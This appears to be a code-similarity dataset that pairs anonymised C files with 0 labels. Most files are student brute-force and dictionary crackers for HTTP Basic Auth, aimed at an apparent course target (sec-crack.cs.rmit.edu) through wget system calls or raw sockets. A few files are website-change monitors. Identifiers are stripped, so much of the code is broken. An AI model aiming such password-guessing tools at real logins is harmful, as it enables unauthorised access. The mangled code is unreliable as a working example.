printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\n",pass,(double)final/OneBillion,count);
exit(1);
}
}
}
}
printf("\nFILE CANNOT OPENED\n");
}
| 0 |
028.c | 041.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include <strings.h>
#include <string.h>
#include <ctype.h>
#include<sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
int ()
{
int i,j,k,syst;
char password[4],first[100],last[100];
int count =0;
char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
strcpy(first, "wget --http-user= --http-passwd=");
strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");
int Start_time,End_time,Total_time,average;
Start_time = time();
printf(" Time =%11dms\n", Start_time);
for (i=0;i<=52;i++)
{
for (j=0;j<=52;j++)
{
for(k=0;k<=52;k++)
{
password[0] = arr[i];
password[1] = arr[j];
password[2] = arr[k];
password[3] = '\0';
printf(" The Combination of the password tried %s \n" ,password);
printf("*********\n" );
strcat(first, password);
strcat(first, last);
printf("\n executing %s\n", first);
count++;
syst = system(first);
if (syst == 0)
{
printf(" Time =%11dms\n", Start_time);
End_time = time();
Total_time = (End_time - Start_time);
Total_time /= 1000000000.0;
printf("totaltime in Seconds=%lldsec\n", Total_time);
printf("Total number of attempts %d" , count);
printf("\nsuccess %d %s\n",syst,password);
exit(1);
}
strcpy(first, "");
strcpy(first, "wget --http-user= --http-passwd=");
}
}
}
}
| 0 |
028.c | 078.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define DICT_FILE "/usr/share/lib/dict/words"
#define TRUE 1
#define FALSE 0
typedef int (*CrackFuncPtr)(const char*, const char*);
typedef struct node* NodePtr;
typedef struct node
{
char str[50];
NodePtr next;
} Node;
typedef struct list* ListPtr;
typedef struct list
{
NodePtr head;
int ctr;
} List;
NodePtr makeNode(const char *str);
void printList(const ListPtr l);
void loadFile(const char fname[], ListPtr l);
void add(ListPtr l, const char *str);
int crackHTTPAuth(const char *username, const char *passwd);
void runDictCrack(const ListPtr l, CrackFuncPtr func);
void freeWList(ListPtr wL);
int isValidPasswd(const char *str);
int ()
{
List wordList;
wordList.head = NULL;
wordList.ctr = 0;
loadFile(DICT_FILE, &wordList);
runDictCrack(&wordList, crackHTTPAuth);
freeWList(&wordList);
return 0;
}
NodePtr makeNode(const char *str)
{
NodePtr newNode = malloc(sizeof(Node));
if (newNode)
{
strncpy(newNode->str, str, strlen(str)+1);
newNode->next = NULL;
return newNode;
}
else
{
fprintf(stderr, "\nError: Unable allocate %d btyes memory\n", sizeof(Node));
return NULL;
}
}
void add(ListPtr l, const char *str)
{
NodePtr *iter;
NodePtr n ;
n = makeNode(str);
if (n == NULL)
{
exit(1);
}
iter = &(l->head);
if (l->head == NULL)
{
l->head = n;
}
else
{
while (*iter != NULL)
{
iter = &((*iter)->next);
}
}
l->ctr = l->ctr+1;
*iter = n;
(l->ctr)++;
}
void printList(const ListPtr l)
{
NodePtr iter = l->head;
while (iter != NULL)
{
printf("\n%s", iter->str);
iter = iter->next;
}
}
void loadFile(const char fname[], ListPtr l)
{
FILE *fp;
char str[50];
NodePtr p;
int i=0;
fp = fopen(fname, "r");
if (fp)
{
printf("\nLoading dictionary file...\n");
while(fgets(str, 50, fp) != NULL)
{
if (str[strlen(str)-1] == '\n')
{
str[strlen(str)-1] = '\0';
}
if (isValidPasswd(str))
{
add(l, str);
i++;
}
}
printf("total %d\n", i);
}
else
{
fprintf(stderr, "\nError: Cannot dictionary file\n");
exit(1);
}
fclose(fp);
}
int crackHTTPAuth(const char *username, const char *passwd)
{
char cmd[3000] = "";
struct stat fileInfo;
int success = FALSE;
sprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s",
username, passwd, URL);
system(cmd);
(void)stat("dictTemp", &fileInfo);
return fileInfo.st_size;
}
void runDictCrack(const ListPtr l, CrackFuncPtr func)
{
NodePtr iter;
iter = l->head;
while (iter != NULL)
{
if(func(USERNAME, iter->str))
{
printf("\nPassword found: %s", iter->str);
break;
}
else
{
iter = iter->next;
}
}
}
void freeWList(ListPtr wL)
{
NodePtr iter, next;
iter = wL->head;
next = iter->next;
while (iter != NULL)
{
next = iter->next;
(iter);
iter = NULL;
iter = next;
}
}
int isValidPasswd(const char *str)
{
int len = strlen(str);
int i;
if (len <= MAX_PASSWD_LEN)
{
for (i=0; i<len; i++)
{
if (!isalpha(str[i]))
{
return FALSE;
}
}
return TRUE;
}
else
{
return FALSE;
}
}
| 0 |
028.c | 027.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include <stdio.h>
#include <stdlib.h>
int ()
{
int i,j,k,counter =0;
char word[3];
char paswd[3];
char get[100];
int ;
char username[]="";
for (i = 65; i <= 122; i++)
{
if(i==91) {i=97;}
for (j = 65; j <= 122; j++)
{
if(j==91) {j=97;}
for (k = 65; k <= 122; k++)
{
if(k==91) {k=97;}
word[0] = i;
word[1] = j;
word[2] = k;
sprintf(paswd,"%c%c%c",word[0],word[1],word[2]);
counter++;
printf("%d )%s\n\n", counter, paswd);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s" , paswd);
exit(0);
}
}
}
}
}
| 0 |
028.c | 071.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255
int genchkpwd(char *chararray,char *passwd)
{
int i,j,k,success;
char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];
strcpy(str1,"wget --http-user= --http-passwd=");
strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");
strcpy(tempstr,"");
for(i=0;i<52;i++)
{
passwd[0]= chararray[i];
strcat(tempstr,str1);
strcat(tempstr,passwd);
strcat(tempstr,str2);
printf("SENDING REQUEST AS %s\n",tempstr);
success=system (tempstr);
if (success==0)
return 1;
else
strcpy(tempstr,"");
strcpy(passwd,"");
}
for(i=0;i<52;i++)
{
passwd[0]= chararray[i];
for(j=0;j<52;j++)
{
passwd[1]=chararray[j];
strcat(tempstr,str1);
strcat(tempstr,passwd);
strcat(tempstr,str2);
printf("SENDING REQUEST AS %s\n",tempstr);
success=system (tempstr);
if (success==0)
return 1;
else
strcpy(tempstr,"");
}
}
for(i=0;i<52;i++)
{
passwd[0]= chararray[i];
for(j=0;j<52;j++)
{
passwd[1]=chararray[j];
for(k=0;k<52;k++)
{
passwd[2]=chararray[k];
strcat(tempstr,str1);
strcat(tempstr,passwd);
strcat(tempstr,str2);
printf("SENDING REQUEST AS %s\n",tempstr);
success=system (tempstr);
if (success==0)
return 1;
else
strcpy(tempstr,"");
}
}
}
return 1;
}
int (int argc, char *argv[])
{
char chararray[52],passwd[3];
int i,success;
char ch='a';
int , end;
= time();
for (i=0;i<3;i++)
{
passwd[i]='\0';
}
for (i=0;i<26;i++)
{
chararray[i]= ch;
ch++;
}
ch='A';
for (i=26;i<52;i++)
{
chararray[i]= ch;
ch++;
}
success=genchkpwd(chararray,passwd);
printf("\nPassword is %s\n",passwd);
getpid();
end = time();
printf("Time required = %lld msec\n",(end-)/());
return (EXIT_SUCCESS);
}
| 0 |
028.c | 008.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>
int ()
{
int i,j,k,sysoutput;
char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3];
char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
strcpy(string1, "wget --http-user= --http-passwd=");
strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
for (i=0;i<=52;i++)
{
[0] = arr[i];
[1] ='\0';
strcpy(a,);
printf("The first value is %s \n", a);
for (j=0;j<=52;j++)
{ [0] = arr[j];
[1] = '\0';
strcpy(temp1,a);
strcat(a,);
strcpy(b,a);
strcpy(a,temp1);
printf("The second value is %s \n", b);
for(k=0;k<=52;k++)
{
[0] =arr[k];
[1] = '\0';
strcpy(temp1,b);
strcat(b,);
strcpy(pass,b);
strcpy(b,temp1);
pass[0] = arr[i];
pass[1]= arr[j];
pass[2]= arr[k];
pass[3] = '\0';
printf(" the third value of the %s \n" ,pass);
printf("%s\n",pass);
printf("*********\n" );
strcat(string1, pass);
strcat(string1, string2);
printf("\n executing %s\n", string1);
sysoutput = system(string1);
if (sysoutput == 0)
{
printf("\nsuccess %d %s\n",sysoutput,pass);
exit(1);
}
strcpy(string1, "");
strcpy(string1, "wget --http-user= --http-passwd=");
}
}
}
}
| 0 |
028.c | 032.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <ctype.h>
int (){
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir old");
system("mv www.cs.rmit.edu./images/*.* old/");
system("mv www.cs.rmit.edu./students/*.* old/");
sleep(86400);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir new");
system("mv www.cs.rmit.edu./images/*.* new/");
system("mv www.cs.rmit.edu./students/*.* new/");
system("diff old new > report.txt");
system("mailx -s \"Report of difference \" < report.txt ");
exit(1);
}
| 0 |
028.c | 001.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
()
{
int i,j,k,m,count=0,flage=0;
FILE* log;
time_t ,finish;
double ttime;
char s[30];
char arr[52]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
char add[100];
strcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");
=time(NULL);
for(i=0;i<52;i++)
{
for(j=0;j<52;j++)
{
for(k=0;k<52;k++)
{
printf("%c %c %c\n",arr[i],arr[j],arr[k]);
add[40]=arr[i];
add[41]=arr[j];
add[42]=arr[k];
system(add);
count++;
log=fopen("log","r");
if(log!=(FILE*)NULL)
fgets(s,100,log);
printf("%s",s);
if(strcmp(s,"Authorization failed.\n")!=0)
{
finish=time(NULL);
ttime=difftime(,finish);
printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);
flage=1;
break;
}
fclose(log);
}
}
}
if(flage==0)
{
for(i=0;i<52;i++)
{
add[40]=arr[i];
system(add);
count++;
log=fopen("log","r");
if(log!=(FILE*)NULL)
fgets(s,100,log);
printf("%s",s);
if(strcmp(s,"Authorization failed.\n")!=0)
{
finish=time(NULL);
ttime=difftime(,finish);
printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],ttime,count);
flage=1;
break;
}
fclose(log);
}
}
if(flage==0)
{
for(i=0;i<52;i++)
{
for(j=0;j<52;j++)
{
add[40]=arr[i];
add[41]=arr[j];
system(add);
count++;
log=fopen("log","r");
if(log!=(FILE*)NULL)
fgets(s,100,log);
printf("%s",s);
if(strcmp(s,"Authorization failed.\n")!=0)
{
finish=time(NULL);
ttime=difftime(,finish);
printf("\nThe password is %c%c%c \nThe time:%f\n The of attempts %d",arr[i],arr[j],ttime,count);
flage=1;
break;
}
fclose(log);
}
}
}
}
| 0 |
028.c | 069.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>
#include <sys/time.h>
#define ant 1e9
int ()
{
FILE *fptr=NULL;
int starttime,endtime,totaltime;
int i,final,count=0;
char ch[20],passwd[20],c,s1[100],s2[100];
fptr=fopen("words","r");
starttime=time();
if(fptr==NULL)
{
printf("file empty");
exit(0);
}
strcpy(s1, "wget --http-user= --http-passwd=");
strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/");
while(!feof(fptr))
{
i=0;
c=getc(fptr);
while(c!='\n')
{
ch[i]=c;
i++;
c=getc(fptr);
}
ch[i]='\0';
strcpy(passwd,ch);
if(strlen(passwd)==3)
{
strcat(s1, passwd);
strcat(s1,s2);
printf(" The combination sent is %s \n", s1);
final = system(s1);
count++;
if (final == 0)
{
endtime=time();
totaltime=(endtime-starttime);
printf("\nsuccess %s\n",passwd);
printf("count %d",count);
printf("totaltime %1f\n",(double)totaltime/ant);
exit(1);
}
strcpy(s1, "");
strcpy(s1, "wget --http-user= --http-passwd=");
}
}
}
| 0 |
028.c | 073.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <errno.h>
#include <signal.h>
#define BUFFER_SIZE 2000
#define RETURN_OK 0
#define RETURN_ERROR 1
#define TRUE 1
#define FALSE 0
#define PASSWORD_LENGTH 3
#define STATUS_OK 200
#define STATUS_AUTH_REQUIRED 401
#define CONN_CLOSED 2
char *host;
char *filename;
int ;
char *url;
char *username;
int attempt;
struct sockaddr_in serverAddr;
void processArguments(int, char **argv, char **, char **);
void printUsage(char *);
void splitURL(const char *, char **, char **);
int openConnection();
void initialiseConnection();
void sendRequest(int, char *, char *, char *, char *);
int getResponseStatus(int);
void base64_encode(const unsigned char *, unsigned char *);
void getHostErrorMsg(char *);
void generatePassword(char *, int);
void testPassword(char *);
int main(int argc, char *argv[])
{
char password[PASSWORD_LENGTH+1];
int i;
attempt = 0;
processArguments(argc, argv, &url, &username);
splitURL(url, &host, &filename);
initialiseConnection();
= openConnection();
for (i=1; i<=PASSWORD_LENGTH; i++)
{
memset(password, 0, PASSWORD_LENGTH+1);
generatePassword(password, i);
}
printf("The password has not been cracked\n");
exit(RETURN_OK);
}
void generatePassword(char *password, int reqLength)
{
static const char *chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
int currLength;
int i;
currLength = strlen(password);
currLength++;
for (i=0; i<strlen(chars); i++)
{
password[currLength-1] = chars[i];
if (strlen(password) != reqLength)
{
generatePassword(password, reqLength);
}
else
{
testPassword(password);
}
password[currLength] = '\0';
}
}
void testPassword(char *password)
{
int status;
attempt++;
TestPassword:
sendRequest(, host, filename, username, password);
status = getResponseStatus();
if (status == STATUS_OK)
{
printf("The password has been found after %d attempts: %s\n",
attempt, password);
exit(RETURN_OK);
}
else if (status == CONN_CLOSED)
{
();
= openConnection();
goto TestPassword;
}
else if (status != STATUS_AUTH_REQUIRED)
{
printf("Status %d received from server\n", status);
exit(RETURN_ERROR);
}
}
void processArguments(int argc, char *argv[], char **url, char **username)
{
if (argc != 3)
{
printUsage(argv[0]);
exit(1);
}
*url = (char *) malloc(strlen(argv[1] + 1));
strcpy(*url, argv[1]);
*username = (char *) malloc(strlen(argv[2] + 1));
strcpy(*username, argv[2]);
}
void printUsage(char *program)
{
fprintf(stderr, "Usage:\n");
fprintf(stderr, "%s url username\n", program);
}
void splitURL(const char *url, char **host, char **file)
{
char *p1;
char *p2;
p1 = strstr(url, "//");
if (p1 == NULL)
p1 = (char *) url;
else
p1 = p1 + 2;
p2 = strstr(p1, "/");
if (p2 == NULL)
{
fprintf(stderr, "Invalid url\n");
exit(RETURN_ERROR);
}
*host = (char *) malloc(p2-p1+2);
strncpy(*host, p1, p2-p1);
(*host)[p2-p1] = '\0';
*file = (char *) malloc(strlen(p2+1));
strcpy(*file, p2);
}
void sendRequest(int , char *host, char *filename, char *username,
char *password)
{
char message[BUFFER_SIZE];
unsigned char encoded[BUFFER_SIZE];
unsigned char token[BUFFER_SIZE];
sprintf((char *) token, "%s:%s", username, password);
base64_encode(token, encoded);
sprintf(message, "GET %s HTTP/1.1\nHost: %s\nAuthorization: %s\n\n",
filename, host, encoded);
if (write(, message, strlen(message)) == -1)
{
perror("");
exit(RETURN_ERROR);
}
}
int getResponseStatus()
{
char message[BUFFER_SIZE];
int bytesRead;
char *p1;
char status_str[4];
int status;
while (TRUE)
{
bytesRead = (, message, BUFFER_SIZE-1);
if (bytesRead == -1)
{
perror("");
exit(RETURN_ERROR);
}
else if (bytesRead == 0)
{
return CONN_CLOSED;
}
message[bytesRead+1] = '\0';
p1 = strstr(message, "HTTP");
if (p1 != NULL)
{
p1 = p1 + 9;
break;
}
}
strncpy(status_str, p1, 3);
status_str[3] = '\0';
status = atol(status_str);
return status;
}
int openConnection()
{
int ;
if (( = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("");
exit(RETURN_ERROR);
}
if (connect(, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) == -1)
{
perror("connect");
exit(RETURN_ERROR);
}
return ;
}
void initialiseConnection()
{
struct hostent *serverHostent;
unsigned serverIP;
char errorMsg[BUFFER_SIZE];
memset(&serverAddr, 0, sizeof(serverAddr));
serverAddr.sin_port = htons(80);
if ((serverIP = inet_addr(host)) != -1)
{
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = serverIP;
}
else if ((serverHostent = gethostbyname(host)) != NULL)
{
serverAddr.sin_family = serverHostent->h_addrtype;
memcpy((void *) &serverAddr.sin_addr,
(void *) serverHostent->h_addr, serverHostent->h_length);
}
else
{
getHostErrorMsg(errorMsg);
printf("%s: %s\n", host, errorMsg);
exit(RETURN_ERROR);
}
}
void base64_encode(const unsigned char *input, unsigned char *output)
{
static const char *codes =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int i;
int len;
int lenfull;
unsigned char *p;
int a;
int b;
int c;
p = output;
len = strlen((char *) input);
lenfull = 3*(len / 3);
for (i = 0; i < lenfull; i += 3)
{
*p++ = codes[input[0] >> 2];
*p++ = codes[((input[0] & 3) << 4) + (input[1] >> 4)];
*p++ = codes[((input[1] & 0xf) << 2) + (input[2] >> 6)];
*p++ = codes[input[2] & 0x3f];
input += 3;
}
if (i < len)
{
a = input[0];
b = (i+1 < len) ? input[1] : 0;
c = 0;
*p++ = codes[a >> 2];
*p++ = codes[((a & 3) << 4) + (b >> 4)];
*p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';
*p++ = '=';
}
*p = '\0';
}
void getHostErrorMsg(char *message)
{
switch (h_errno)
{
HOST_NOT_FOUND :
strcpy(message, "The specified host is unknown");
break;
NO_DATA:
strcpy(message, "The specified host name is valid, but does not have address");
break;
NO_RECOVERY:
strcpy(message, "A non-recoverable name server error occurred");
break;
TRY_AGAIN:
strcpy(message, "A temporary error occurred authoritative name server. Try again later.");
break;
default:
strcpy(message, " unknown name server error occurred.");
}
}
| 0 |
028.c | 010.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
int () {
while (1) {
system("wget -p www.cs.rmit.edu.");\
system("mkdir sitefiles");
system("cp www.cs.rmit.edu./index.html sitefiles");
system("diff sitefiles/index.html www.cs.rmit.edu./index.html | mail @cs.rmit.edu.");
system("md5sum www.cs.rmit.edu./images/*.* > imageInfo.txt");
system("diff imageInfo.txt sitefiles/imageInfo.txt | mail @cs.rmit.edu.");
system("cp imageInfo.txt sitefiles");
sleep(86400);
}
}
| 0 |
028.c | 035.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#define _REENTRANT
#include <sys/time.h>
#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <ctype.h>
#include <pthread.h>
#include <signal.h>
#define MAX_THREADS 1000
#define MAX_COMBO
#define false 0
#define true 1
static char *alphabet="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
static char **combination=NULL;
static char host[128];
pthread_mutex_t counter_lock = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t thread_lock = PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t start_hacking = PTHREAD_COND_INITIALIZER;
pthread_cond_t thread_ready = PTHREAD_COND_INITIALIZER;
static int attempt_count=0;
static int combo_entries=0;
static struct timeval ;
static struct timeval stop;
static int thread_ready_indicator=false;
static int thread_start_indicator=false;
static int thread_count=0;
typedef struct range
{
int ;
int ;
}range;
void *client(void *arg)
{
int i=0, status=1;
range *= (struct range*)arg;
char local_buffer[128];
pthread_mutex_lock(&thread_lock);
thread_ready_indicator=true;
pthread_cond_signal(&thread_ready);
while(thread_start_indicator==false) pthread_cond_wait(&start_hacking, &thread_lock);
fflush(stdout);
pthread_mutex_unlock(&thread_lock);
for(i=->; i<=-> && i<combo_entries; i++)
{
sprintf(local_buffer,
"wget -q -C off -o //null -O //null --http-user=%s --http-passwd=%s %s",
"", combination[i], host);
status=system(local_buffer);
if(status==0)
{
printf("\n\nusername: \npassword: %s\n\n", combination[i]);
fflush(stdout);
pthread_mutex_lock(&counter_lock);
attempt_count++;
gettimeofday(&stop, NULL);
printf("About %d attempts were , which took %ld.%ld seconds complete.\n",
attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));
fflush(stdout);
pthread_mutex_unlock(&counter_lock);
exit(EXIT_SUCCESS);
}
else
{
pthread_mutex_lock(&counter_lock);
attempt_count++;
pthread_mutex_unlock(&counter_lock);
}
}
pthread_exit(NULL);
}
char *getNextCombination()
{
static int i=0;
static int j=0;
static int k=0;
static int mode=1;
char *word;
if(i>51)
{
mode++; i=0; j=0; k=0;
}
if(mode==1)
{
char *word = calloc(mode, 1);
word[0]=alphabet[i++];
word[1]='\0';
return word;
}
if(mode==2)
{
if(j>51)
{
i++; j=0;
}
if(i>51)
{
mode++;
i=0; j=0; j=0;
}
else
{
char *word = calloc(mode, 1);
word[0]=alphabet[i];
word[1]=alphabet[j++];
word[2]='\0';
return word;
}
}
if(mode==3)
{
if(k>51)
{
j++; k=0;
}
if(j>51)
{
i++; j=0;
}
if(i>51)
{
mode++;
i=0; j=0; j=0;
}
else
{
char *word = calloc(mode, 1);
word[0]=alphabet[i];
word[1]=alphabet[j];
word[2]=alphabet[k++];
word[3]='\0';
return word;
}
}
return NULL;
}
int main(int argc, char **argv)
{
int wait_status=0, i=0, j=0, num_threads=0;
int partition=0, prev_min=0, prev_max=0;
int len=0;
char *word; range *;
pthread_t tid[MAX_THREADS];
int non_alpha_detected=0;
if(argc<3)
{
puts("Incorrect usage!");
puts("./brute num_threads url");
exit(EXIT_FAILURE);
}
strcpy(host, argv[2]);
num_threads=atoi(argv[1]);
combination = (char **)calloc(MAX_COMBO, sizeof(char *));
printf("Process ID for the thread is: %d\n", getpid());
printf("Creating brute-force dictionary ... ");
while( (word=getNextCombination())!= NULL && i<MAX_COMBO)
{
combination[i]=calloc(strlen(word)+1, sizeof(char));
strcpy(combination[i++], word);
combo_entries++;
}
puts("");
j=0;
partition=combo_entries/num_threads;
if(partition==0)
{
puts("Reducing the number of threads match the number of words.");
num_threads=combo_entries;
partition=1;
}
prev_min=0;
prev_max=partition;
i=0;
memset(&, 0, sizeof(struct timeval));
memset(&stop, 0, sizeof(struct timeval));
while(i<num_threads && i<MAX_THREADS)
{
=malloc(sizeof(struct range));
->=prev_min;
->=prev_max;
pthread_mutex_lock(&thread_lock);
thread_ready_indicator=false;
pthread_mutex_unlock(&thread_lock);
